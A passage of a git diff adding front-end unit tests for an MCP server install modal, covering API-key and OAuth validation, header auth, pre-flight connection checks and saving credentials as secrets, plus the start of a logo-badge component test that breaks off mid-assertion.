+    const expectedKey = getMcpServerHealthKey({
+      id: "irrelevant-for-key",
+      type: "stdio",
+      name: "slack",
+      command: "npx",
+      args: ["-y", "@zencoderai/slack-mcp-server"],
+      env: { SLACK_TEAM_ID: "T01", SLACK_BOT_TOKEN: "xoxb-abc" },
+    });
+    await waitFor(() =>
+      expect(getMcpHealthSnapshot()[expectedKey]).toMatchObject({
+        status: "healthy",
+        verification: "connectivity-only",
+      }),
+    );
+  });
+
+  it("installs Tavily as a stdio MCP server with TAVILY_API_KEY env", async () => {
+    // Tavily was previously a fake `kind: "tavily-builtin"` template
+    // that called saveSettings({ search_api_key }) — but that field
+    // was dropped on the floor in both local and cloud save paths, so
+    // installing Tavily silently did nothing. It's now a regular
+    // stdio MCP entry (`npx -y tavily-mcp` + TAVILY_API_KEY) that
+    // goes through the same mcp_config write as every other entry.
+    const tavily = MCP_MARKETPLACE.find((e) => e.id === "tavily")!;
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    const onClose = vi.fn();
+    renderWith(<InstallServerModal existingServers={[]} entry={tavily} onClose={onClose} />);
+
+    await screen.findByTestId("mcp-install-modal");
+
+    // Submit with no key fails the required-field check.
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+    await waitFor(() => expect(saveSpy).not.toHaveBeenCalled());
+
+    fireEvent.change(screen.getByTestId("mcp-install-field-TAVILY_API_KEY"), {
+      target: { value: "tvly-secret" },
+    });
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    const sent = (saveSpy.mock.calls[0][0] as Record<string, unknown>)
+      .agent_settings_diff as {
+      mcp_config: Record<string, unknown>;
+    };
+    expect(sent.mcp_config).toMatchObject({
+      tavily: {
+        command: "npx",
+        args: ["-y", "tavily-mcp"],
+        env: { TAVILY_API_KEY: "tvly-secret" },
+      },
+    });
+    expect(onClose).toHaveBeenCalled();
+  });
+
+  it("blocks submission of an shttp template when api_key is required and empty", async () => {
+    // Build a synthetic catalog entry with apiKeyOptional: false so we
+    // exercise the new required-key validation in handleHttpServerSubmit
+    // without relying on the catalog choosing to mark one this way.
+    const entry: MarketplaceEntry = {
+      id: "synthetic-required",
+      name: "Synthetic",
+      description: "Synthetic catalog entry used in tests.",
+      docsUrl: "https://example.com/docs",
+      iconBg: "#000000",
+      connectionOptions: [
+        {
+          id: "api",
+          provider: "mcp",
+          transport: {
+            kind: "shttp",
+            url: "https://example.com/mcp",
+            apiKeyOptional: false,
+          },
+          auth: { strategy: "api_key" },
+        },
+      ],
+    };
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderWith(<InstallServerModal existingServers={[]} entry={entry} onClose={vi.fn()} />);
+
+    await screen.findByTestId("mcp-install-modal");
+
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+    // No save call until the user fills in the key.
+    await waitFor(() => {
+      expect(saveSpy).not.toHaveBeenCalled();
+    });
+
+    fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), {
+      target: { value: "secret-123" },
+    });
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+  });
+
+  it("allows submitting an shttp template with no key when apiKeyOptional is true", async () => {
+    const entry: MarketplaceEntry = {
+      id: "synthetic-optional",
+      name: "Synthetic Optional",
+      description: "Synthetic entry that allows empty api_key.",
+      docsUrl: "https://example.com/docs",
+      iconBg: "#000000",
+      connectionOptions: [
+        {
+          id: "api",
+          provider: "mcp",
+          transport: {
+            kind: "shttp",
+            url: "https://example.com/mcp",
+            apiKeyOptional: true,
+          },
+          auth: { strategy: "api_key", apiKeyOptional: true },
+        },
+      ],
+    };
+    const getSpy = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockResolvedValue(MOCK_DEFAULT_USER_SETTINGS);
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderWith(<InstallServerModal existingServers={[]} entry={entry} onClose={vi.fn()} />);
+
+    await screen.findByTestId("mcp-install-modal");
+    // The add-mcp-server mutation bails when useSettings() hasn't
+    // resolved yet, so wait for the initial settings fetch before
+    // submitting — otherwise the test races React Query.
+    await waitFor(() => expect(getSpy).toHaveBeenCalled());
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+  });
+
+  it("persists OAuth state returned by the connection test when installing", async () => {
+    const entry: MarketplaceEntry = {
+      id: "synthetic-oauth",
+      name: "Synthetic OAuth",
+      description: "Synthetic OAuth entry.",
+      docsUrl: "https://example.com/docs",
+      iconBg: "#000000",
+      connectionOptions: [
+        {
+          id: "oauth",
+          provider: "mcp",
+          transport: {
+            kind: "shttp",
+            url: "https://mcp.example.com/mcp",
+          },
+          auth: {
+            strategy: "oauth2",
+            oauth: { clientAuthentication: "none" },
+          },
+        },
+      ],
+    };
+    vi.spyOn(McpService, "authorizeOAuth").mockResolvedValue({
+      ok: true,
+      tools: [],
+      oauth_state: {
+        tokens: { access_token: "gAAAAencrypted-access-token" },
+        token_expires_at: 12345,
+      },
+    });
+    const getSpy = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockResolvedValue(MOCK_DEFAULT_USER_SETTINGS);
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderWith(<InstallServerModal existingServers={[]} entry={entry} onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-install-modal");
+    await waitFor(() => expect(getSpy).toHaveBeenCalled());
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    const sent = (saveSpy.mock.calls[0][0] as Record<string, unknown>)
+      .agent_settings_diff as {
+      mcp_config: Record<string, unknown>;
+    };
+    expect(sent.mcp_config).toMatchObject({
+      "synthetic-oauth": {
+        url: "https://mcp.example.com/mcp",
+        auth: {
+          strategy: "oauth2",
+          state: {
+            tokens: { access_token: "gAAAAencrypted-access-token" },
+            token_expires_at: 12345,
+          },
+        },
+      },
+    });
+  });
+
+  it("installs header-field remote servers with tagged header auth", async () => {
+    const entry = {
+      id: "datadog-style",
+      name: "Datadog-style Server",
+      description: "Remote MCP server that authenticates via two headers.",
+      iconBg: "#632CA6",
+      connectionOptions: [
+        {
+          id: "api",
+          provider: "mcp",
+          transport: {
+            kind: "shttp",
+            url: "https://mcp.example.com/mcp",
+            headerFields: [
+              {
+                key: "DD-API-KEY",
+                label: "Datadog API key",
+                type: "password",
+                required: true,
+              },
+              {
+                key: "DD-APPLICATION-KEY",
+                label: "Datadog Application key",
+                type: "password",
+                required: true,
+              },
+            ],
+          },
+          auth: { strategy: "none" },
+        },
+      ],
+    } as unknown as MarketplaceEntry;
+    const testSpy = vi
+      .spyOn(McpService, "testServer")
+      .mockResolvedValue({ ok: true, tools: [] });
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderWith(<InstallServerModal existingServers={[]} entry={entry} onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-install-modal");
+    await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled());
+
+    expect(
+      screen.queryByTestId("mcp-install-field-api_key"),
+    ).not.toBeInTheDocument();
+    fireEvent.change(screen.getByTestId("mcp-install-field-DD-API-KEY"), {
+      target: { value: "dd-api-secret" },
+    });
+    fireEvent.change(
+      screen.getByTestId("mcp-install-field-DD-APPLICATION-KEY"),
+      { target: { value: "dd-app-secret" } },
+    );
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    expect(testSpy).toHaveBeenCalledWith(
+      expect.objectContaining({
+        type: "shttp",
+        url: "https://mcp.example.com/mcp",
+        auth: {
+          strategy: "header",
+          headers: {
+            "DD-API-KEY": "dd-api-secret",
+            "DD-APPLICATION-KEY": "dd-app-secret",
+          },
+        },
+      }),
+    );
+    const sent = (saveSpy.mock.calls[0][0] as Record<string, unknown>)
+      .agent_settings_diff as {
+      mcp_config: Record<string, unknown>;
+    };
+    expect(sent.mcp_config).toMatchObject({
+      "datadog-style": {
+        url: "https://mcp.example.com/mcp",
+        auth: {
+          strategy: "header",
+          headers: {
+            "DD-API-KEY": "dd-api-secret",
+            "DD-APPLICATION-KEY": "dd-app-secret",
+          },
+        },
+      },
+    });
+  });
+
+  it("uses the user-edited URL when the transport opts into urlEditable", async () => {
+    const entry = {
+      id: "datadog-style",
+      name: "Datadog-style Server",
+      description: "Remote MCP server with a site-specific URL.",
+      iconBg: "#632CA6",
+      connectionOptions: [
+        {
+          id: "api",
+          provider: "mcp",
+          transport: {
+            kind: "shttp",
+            url: "https://mcp.example.com/mcp",
+            urlEditable: true,
+            headerFields: [
+              {
+                key: "DD-API-KEY",
+                label: "Datadog API key",
+                type: "password",
+                required: true,
+              },
+            ],
+          },
+          auth: { strategy: "none" },
+        },
+      ],
+    } as unknown as MarketplaceEntry;
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderWith(<InstallServerModal existingServers={[]} entry={entry} onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-install-modal");
+    await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled());
+
+    const urlInput = screen.getByTestId(
+      "mcp-install-field-url",
+    ) as HTMLInputElement;
+    expect(urlInput).not.toBeDisabled();
+    fireEvent.change(urlInput, {
+      target: { value: "https://mcp.us5.example.com/v1/mcp" },
+    });
+    fireEvent.change(screen.getByTestId("mcp-install-field-DD-API-KEY"), {
+      target: { value: "dd-api-secret" },
+    });
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    const sent = (saveSpy.mock.calls[0][0] as Record<string, unknown>)
+      .agent_settings_diff as {
+      mcp_config: Record<string, unknown>;
+    };
+    expect(sent.mcp_config).toMatchObject({
+      "datadog-style": {
+        url: "https://mcp.us5.example.com/v1/mcp",
+        auth: {
+          strategy: "header",
+          headers: { "DD-API-KEY": "dd-api-secret" },
+        },
+      },
+    });
+  });
+
+  it("installs Linear over streamable HTTP with the api key as a bearer credential", async () => {
+    // Arrange: the marketplace serves the patched Linear entry (shttp
+    // /mcp endpoint, bearer auth) — the UI must never touch the removed
+    // /sse transport.
+    const linear = getMcpMarketplaceCatalog(MCP_MARKETPLACE).find(
+      (e) => e.id === "linear",
+    )!;
+    const testSpy = vi
+      .spyOn(McpService, "testServer")
+      .mockResolvedValue({ ok: true, tools: [] });
+    const getSpy = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockResolvedValue(MOCK_DEFAULT_USER_SETTINGS);
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderWith(<InstallServerModal existingServers={[]} entry={linear} onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-install-modal");
+    // Wait for useSettings() so the add-mcp-server mutation doesn't bail.
+    await waitFor(() => expect(getSpy).toHaveBeenCalled());
+
+    // Act: provide the optional Linear API key and install.
+    fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), {
+      target: { value: "lin_api_secret" },
+    });
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    // Assert: both the pre-flight test and the persisted config target
+    // the new endpoint over streamable HTTP with the bearer credential.
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    expect(testSpy).toHaveBeenCalledWith(
+      expect.objectContaining({
+        type: "shttp",
+        url: "https://mcp.linear.app/mcp",
+        auth: { strategy: "bearer", value: "lin_api_secret" },
+      }),
+    );
+    const sent = (saveSpy.mock.calls[0][0] as Record<string, unknown>)
+      .agent_settings_diff as {
+      mcp_config: Record<string, unknown>;
+    };
+    // Remote installs are now keyed by the catalog slug ("linear") rather
+    // than the auto-generated "shttp" fallback, so the server is
+    // referenceable by name in mcp_server_refs.
+    expect(sent.mcp_config).toMatchObject({
+      linear: {
+        url: "https://mcp.linear.app/mcp",
+        auth: { strategy: "bearer", value: "lin_api_secret" },
+      },
+    });
+  });
+
+  it("closes from the top-right close button", async () => {
+    const onClose = vi.fn();
+    const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!;
+    renderWith(<InstallServerModal existingServers={[]} entry={slack} onClose={onClose} />);
+    await screen.findByTestId("mcp-install-modal");
+
+    fireEvent.click(screen.getByTestId("mcp-install-modal-close"));
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("places Cancel before Install in the footer so the dominant action is the last focusable button", async () => {
+    // Arrange: render with any marketplace entry so the footer is mounted.
+    const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!;
+    renderWith(<InstallServerModal existingServers={[]} entry={slack} onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-install-modal");
+
+    // Act: locate both footer buttons.
+    const cancel = screen.getByTestId("mcp-install-cancel");
+    const submit = screen.getByTestId("mcp-install-submit");
+
+    // Assert: Cancel precedes the dominant Install action in DOM order.
+    expect(
+      cancel.compareDocumentPosition(submit) & Node.DOCUMENT_POSITION_FOLLOWING,
+    ).toBeTruthy();
+  });
+
+  it("shows an inline error, does not save, and keeps the modal open when the pre-flight test fails", async () => {
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: false,
+      error: "ECONNREFUSED",
+      error_kind: "connection",
+    });
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+    const onClose = vi.fn();
+
+    const entry: MarketplaceEntry = {
+      id: "synthetic-test-fail",
+      name: "Failing Server",
+      description: "Always fails the connection test.",
+      docsUrl: "https://example.com/docs",
+      iconBg: "#000000",
+      connectionOptions: [
+        {
+          id: "api",
+          provider: "mcp",
+          transport: {
+            kind: "shttp",
+            url: "https://example.com/mcp",
+            apiKeyOptional: true,
+          },
+          auth: { strategy: "api_key", apiKeyOptional: true },
+        },
+      ],
+    };
+
+    renderWith(<InstallServerModal existingServers={[]} entry={entry} onClose={onClose} />);
+    await screen.findByTestId("mcp-install-modal");
+
+    // Wait for settings to load so the mutation isn't a no-op.
+    await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled());
+
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    // Error message must appear.
+    await waitFor(() =>
+      expect(screen.getByTestId("mcp-install-modal-error")).toBeInTheDocument(),
+    );
+
+    // Save must never have been called.
+    expect(saveSpy).not.toHaveBeenCalled();
+
+    // Modal must stay open.
+    expect(onClose).not.toHaveBeenCalled();
+    expect(screen.getByTestId("mcp-install-modal")).toBeInTheDocument();
+  });
+
+  it("shows the credential-specific message when the pre-flight test reports invalid credentials", async () => {
+    // Arrange: installing Slack with credentials its verification call
+    // rejects (the service maps Slack's invalid_auth to "credentials").
+    const slack = MCP_MARKETPLACE.find((e) => e.id === "slack")!;
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: false,
+      error: "invalid_auth",
+      error_kind: "credentials",
+    });
+
+    renderWith(<InstallServerModal existingServers={[]} entry={slack} onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-install-modal");
+
+    // Act: fill the required fields and install.
+    fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_BOT_TOKEN"), {
+      target: { value: "xoxb-invalid" },
+    });
+    fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_TEAM_ID"), {
+      target: { value: "T-INVALID" },
+    });
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    // Assert: the credentials message is rendered (i18n keys are returned
+    // as-is in tests), not the generic connection/unknown wording.
+    await waitFor(() =>
+      expect(screen.getByTestId("mcp-install-modal-error")).toHaveTextContent(
+        "MCP$TEST_ERROR_CREDENTIALS",
+      ),
+    );
+  });
+
+  it("calls save and closes the modal when the pre-flight test succeeds", async () => {
+    vi.spyOn(McpService, "testServer").mockResolvedValue({
+      ok: true,
+      tools: ["tool_a"],
+    });
+    const saveSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+    const onClose = vi.fn();
+
+    const entry: MarketplaceEntry = {
+      id: "synthetic-test-pass",
+      name: "Passing Server",
+      description: "Always passes the connection test.",
+      docsUrl: "https://example.com/docs",
+      iconBg: "#000000",
+      connectionOptions: [
+        {
+          id: "api",
+          provider: "mcp",
+          transport: {
+            kind: "shttp",
+            url: "https://example.com/mcp",
+            apiKeyOptional: true,
+          },
+          auth: { strategy: "api_key", apiKeyOptional: true },
+        },
+      ],
+    };
+
+    renderWith(<InstallServerModal existingServers={[]} entry={entry} onClose={onClose} />);
+    await screen.findByTestId("mcp-install-modal");
+
+    await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled());
+
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    expect(onClose).toHaveBeenCalledTimes(1);
+    expect(
+      screen.queryByTestId("mcp-install-modal-error"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows Verifying… on the install button while the pre-flight test is in flight", async () => {
+    // Never resolve so the test stays pending long enough to observe the label.
+    vi.spyOn(McpService, "testServer").mockImplementation(
+      () => new Promise(() => {}),
+    );
+
+    const entry: MarketplaceEntry = {
+      id: "synthetic-pending",
+      name: "Pending Server",
+      description: "Connection test never resolves.",
+      docsUrl: "https://example.com/docs",
+      iconBg: "#000000",
+      connectionOptions: [
+        {
+          id: "api",
+          provider: "mcp",
+          transport: {
+            kind: "shttp",
+            url: "https://example.com/mcp",
+            apiKeyOptional: true,
+          },
+          auth: { strategy: "api_key", apiKeyOptional: true },
+        },
+      ],
+    };
+
+    renderWith(<InstallServerModal existingServers={[]} entry={entry} onClose={vi.fn()} />);
+    await screen.findByTestId("mcp-install-modal");
+
+    await waitFor(() => expect(SettingsService.getSettings).toHaveBeenCalled());
+
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    // In tests i18n keys are returned as-is, so the button shows the key name.
+    await waitFor(() =>
+      expect(screen.getByTestId("mcp-install-submit")).toHaveTextContent(
+        "MCP$VERIFYING",
+      ),
+    );
+  });
+
+  // ---------------------------------------------------------------------------
+  // Save-as-secret toggle behaviour
+  // ---------------------------------------------------------------------------
+
+  // Synthetic stdio entry with one password-type envField, one text-type
+  // envField, and one argField. This gives us complete control over field
+  // types without depending on the live integration catalog.
+  const STDIO_ENTRY = {
+    id: "synthetic-stdio",
+    name: "Synthetic Stdio Server",
+    description: "Stdio server used to test the save-as-secret feature.",
+    iconBg: "#000000",
+    connectionOptions: [
+      {
+        id: "stdio",
+        provider: "mcp",
+        transport: {
+          kind: "stdio",
+          serverName: "test-server",
+          command: "npx",
+          args: ["-y", "test-mcp"],
+          envFields: [
+            {
+              key: "API_KEY",
+              label: "API Key",
+              type: "password",
+              required: true,
+              placeholder: "Enter API key",
+            },
+            {
+              key: "USERNAME",
+              label: "Username",
+              type: "text",
+              required: false,
+              placeholder: "Enter username",
+            },
+          ],
+          argFields: [
+            {
+              key: "EXTRA_ARG",
+              label: "Extra Arg",
+              type: "text",
+              required: false,
+              placeholder: "optional",
+            },
+          ],
+        },
+        auth: { strategy: "api_key", apiKeyOptional: true },
+      },
+    ],
+  } as unknown as MarketplaceEntry;
+
+  const SHTTP_ENTRY = {
+    id: "synthetic-shttp-secret",
+    name: "Synthetic Hosted Server",
+    description: "Hosted server used to test credential secret saving.",
+    iconBg: "#000000",
+    connectionOptions: [
+      {
+        id: "api",
+        provider: "mcp",
+        transport: {
+          kind: "shttp",
+          url: "https://example.com/mcp",
+        },
+        auth: {
+          strategy: "api_key",
+          credentialLabel: "Personal access token",
+          credentialPlaceholder: "pat_...",
+          credentialHelp: "Token from the provider settings.",
+          credentialSecretName: "PROVIDER_PERSONAL_ACCESS_TOKEN",
+          saveCredentialAsSecretByDefault: true,
+        },
+      },
+    ],
+  } as unknown as MarketplaceEntry;
+
+  describe("InstallServerModal — save as secret", () => {
+    beforeEach(() => {
+      vi.spyOn(SecretsService, "createSecret").mockResolvedValue();
+    });
+
+    it("pre-checks the toggle for password-type envFields", async () => {
+      renderWith(<InstallServerModal existingServers={[]} entry={STDIO_ENTRY} onClose={vi.fn()} />);
+      await screen.findByTestId("mcp-install-modal");
+
+      const toggle = screen.getByTestId("mcp-install-save-secret-API_KEY");
+      expect(toggle.querySelector("input[type='checkbox']")).toBeChecked();
+    });
+
+    it("leaves non-password envFields unchecked by default", async () => {
+      renderWith(<InstallServerModal existingServers={[]} entry={STDIO_ENTRY} onClose={vi.fn()} />);
+      await screen.findByTestId("mcp-install-modal");
+
+      const toggle = screen.getByTestId("mcp-install-save-secret-USERNAME");
+      expect(toggle.querySelector("input[type='checkbox']")).not.toBeChecked();
+    });
+
+    it("does not render a toggle for argFields", async () => {
+      renderWith(<InstallServerModal existingServers={[]} entry={STDIO_ENTRY} onClose={vi.fn()} />);
+      await screen.findByTestId("mcp-install-modal");
+
+      expect(
+        screen.queryByTestId("mcp-install-save-secret-EXTRA_ARG"),
+      ).not.toBeInTheDocument();
+    });
+
+    it("toggling the checkbox updates its checked state", async () => {
+      renderWith(<InstallServerModal existingServers={[]} entry={STDIO_ENTRY} onClose={vi.fn()} />);
+      await screen.findByTestId("mcp-install-modal");
+
+      // USERNAME starts unchecked; clicking it should flip to checked.
+      const toggle = screen.getByTestId("mcp-install-save-secret-USERNAME");
+      const checkbox = toggle.querySelector(
+        "input[type='checkbox']",
+      ) as HTMLInputElement;
+      expect(checkbox).not.toBeChecked();
+
+      fireEvent.click(checkbox);
+
+      expect(checkbox).toBeChecked();
+    });
+
+    it("setValue preserves savedAsSecret state when a field value changes", async () => {
+      // Before the ...prev bug-fix in setValue, calling onChange on any field
+      // would reset savedAsSecret to {}, unchecking all toggles silently.
+      renderWith(<InstallServerModal existingServers={[]} entry={STDIO_ENTRY} onClose={vi.fn()} />);
+      await screen.findByTestId("mcp-install-modal");
+
+      // API_KEY starts pre-checked. Typing a new value should leave it checked.
+      fireEvent.change(screen.getByTestId("mcp-install-field-API_KEY"), {
+        target: { value: "new-value" },
+      });
+
+      const toggle = screen.getByTestId("mcp-install-save-secret-API_KEY");
+      expect(toggle.querySelector("input[type='checkbox']")).toBeChecked();
+    });
+
+    it("calls createSecret for checked envFields after a successful install", async () => {
+      vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+      const onClose = vi.fn();
+      renderWith(<InstallServerModal existingServers={[]} entry={STDIO_ENTRY} onClose={onClose} />);
+      await screen.findByTestId("mcp-install-modal");
+      await waitFor(() =>
+        expect(SettingsService.getSettings).toHaveBeenCalled(),
+      );
+
+      // Fill in the required password field (API_KEY is pre-checked as secret).
+      fireEvent.change(screen.getByTestId("mcp-install-field-API_KEY"), {
+        target: { value: "my-api-key" },
+      });
+      fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+      await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1));
+      await waitFor(() =>
+        expect(SecretsService.createSecret).toHaveBeenCalledWith(
+          "API_KEY",
+          "my-api-key",
+          "API Key",
+        ),
+      );
+      // USERNAME was unchecked, so no secret call for it.
+      expect(SecretsService.createSecret).not.toHaveBeenCalledWith(
+        "USERNAME",
+        expect.anything(),
+        expect.anything(),
+      );
+    });
+
+    it("saves hosted MCP credentials as named secrets when configured", async () => {
+      vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+      const onClose = vi.fn();
+      renderWith(<InstallServerModal existingServers={[]} entry={SHTTP_ENTRY} onClose={onClose} />);
+      await screen.findByTestId("mcp-install-modal");
+      await waitFor(() =>
+        expect(SettingsService.getSettings).toHaveBeenCalled(),
+      );
+
+      expect(screen.getByTestId("mcp-install-field-url")).toHaveValue(
+        "https://example.com/mcp",
+      );
+      expect(screen.getByLabelText("Personal access token")).toHaveAttribute(
+        "placeholder",
+        "pat_...",
+      );
+      expect(
+        screen.getByText("Token from the provider settings."),
+      ).toBeInTheDocument();
+
+      const toggle = screen.getByTestId(
+        "mcp-install-save-secret-PROVIDER_PERSONAL_ACCESS_TOKEN",
+      );
+      expect(toggle.querySelector("input[type='checkbox']")).toBeChecked();
+
+      fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), {
+        target: { value: "hosted-token" },
+      });
+      fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+      await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1));
+      await waitFor(() =>
+        expect(SecretsService.createSecret).toHaveBeenCalledWith(
+          "PROVIDER_PERSONAL_ACCESS_TOKEN",
+          "hosted-token",
+          "Personal access token",
+        ),
+      );
+    });
+
+    it("waits for hosted credential secrets before reporting install success", async () => {
+      vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+      let resolveSecret!: () => void;
+      const secretSaved = new Promise<void>((resolve) => {
+        resolveSecret = resolve;
+      });
+      vi.spyOn(SecretsService, "createSecret").mockReturnValue(secretSaved);
+      const onClose = vi.fn();
+      const onSuccess = vi.fn();
+
+      renderWith(
+        <InstallServerModal
+          existingServers={[]}
+          entry={SHTTP_ENTRY}
+          onClose={onClose}
+          onSuccess={onSuccess}
+        />,
+      );
+      await screen.findByTestId("mcp-install-modal");
+      await waitFor(() =>
+        expect(SettingsService.getSettings).toHaveBeenCalled(),
+      );
+
+      fireEvent.change(screen.getByTestId("mcp-install-field-api_key"), {
+        target: { value: "hosted-token" },
+      });
+      fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+      await waitFor(() =>
+        expect(SecretsService.createSecret).toHaveBeenCalledWith(
+          "PROVIDER_PERSONAL_ACCESS_TOKEN",
+          "hosted-token",
+          "Personal access token",
+        ),
+      );
+      expect(onSuccess).not.toHaveBeenCalled();
+      expect(onClose).not.toHaveBeenCalled();
+
+      resolveSecret();
+
+      await waitFor(() => expect(onSuccess).toHaveBeenCalledTimes(1));
+      expect(onClose).toHaveBeenCalledTimes(1);
+    });
+
+    it("does not call createSecret when all toggles are unchecked before install", async () => {
+      vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+      const onClose = vi.fn();
+      renderWith(<InstallServerModal existingServers={[]} entry={STDIO_ENTRY} onClose={onClose} />);
+      await screen.findByTestId("mcp-install-modal");
+      await waitFor(() =>
+        expect(SettingsService.getSettings).toHaveBeenCalled(),
+      );
+
+      fireEvent.change(screen.getByTestId("mcp-install-field-API_KEY"), {
+        target: { value: "my-api-key" },
+      });
+
+      // Uncheck the pre-checked API_KEY toggle before submitting.
+      const toggle = screen.getByTestId("mcp-install-save-secret-API_KEY");
+      fireEvent.click(toggle.querySelector("input[type='checkbox']")!);
+
+      fireEvent.click(screen.getByTestId("mcp-install-submit"));
+      await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1));
+
+      // Flush the fire-and-forget microtask chain.
+      await Promise.resolve();
+      await Promise.resolve();
+      expect(SecretsService.createSecret).not.toHaveBeenCalled();
+    });
+
+    it("closes the modal even when the secret save fails", async () => {
+      vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+      vi.spyOn(SecretsService, "createSecret").mockRejectedValue(
+        new Error("forbidden"),
+      );
+      const onClose = vi.fn();
+      renderWith(<InstallServerModal existingServers={[]} entry={STDIO_ENTRY} onClose={onClose} />);
+      await screen.findByTestId("mcp-install-modal");
+      await waitFor(() =>
+        expect(SettingsService.getSettings).toHaveBeenCalled(),
+      );
+
+      fireEvent.change(screen.getByTestId("mcp-install-field-API_KEY"), {
+        target: { value: "my-api-key" },
+      });
+      fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+      // The modal must close regardless of the secret-save outcome.
+      await waitFor(() => expect(onClose).toHaveBeenCalledTimes(1));
+      // Secret save errors use toasts, not the modal inline error element.
+      expect(
+        screen.queryByTestId("mcp-install-modal-error"),
+      ).not.toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/components/features/mcp-page/mcp-logo-stack-badge.test.tsx b/__tests__/components/features/mcp-page/mcp-logo-stack-badge.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..e906722e30582bb041ded1468b70274ec9da5d8a
--- /dev/null
+++ b/__tests__/components/features/mcp-page/mcp-logo-stack-badge.test.tsx
@@ -0,0 +1,54 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+import { INTEGRATION_CATALOG } from "@openhands/extensions/integrations";
+import { McpLogoStackBadge } from "#/components/features/mcp-page/mcp-logo-stack-badge";
+
+function entry(id: string) {
+  const match = INTEGRATION_CATALOG.find((item) => item.id === id);
+  if (!match) {
+    throw new Error(`Missing MCP catalog entry: ${id}`);
+  }
+  return match;
+}
+
+describe("McpLogoStackBadge", () => {
+  it("renders a full-size badge for a single MCP", () => {
+    render(
+      <McpLogoStackBadge
+        testId="automation-icon"
+        entries={[entry("github")]}
+      />,
+    );
+
+    const icon = screen.getByTestId("automation-icon");
+    expect(icon).toHaveClass("h-10", "w-10");
+    expect(icon).not.toHaveAttribute("data-layout");
+  });
+
+  it("overlaps two MCP logos on a shared grey square", () => {
+    render(
+      <McpLogoStackBadge
+        testId="automation-icon"
+        entries={[entry("tavily"), entry("notion")]}
+      />,
+    );
+
+    const icon = screen.getByTestId("automation-icon");
+    expect(icon).toHaveAttribute("data-layout", "overlap");
+    expect(icon).toHaveClass("bg-surface-raised");
+  });
+
+  it("lays out three or four MCP logos in quadrants", () => {
+    render(
+      <McpLogoStackBadge
+        testId="automation-icon"
+        entries={[entry("slack"), entry("linear"), entry("notion")]}
+      />,
+    );
+
+    expect(screen.getByTestId("automation-icon")).toHaveAttribute(
+      "data-layout",
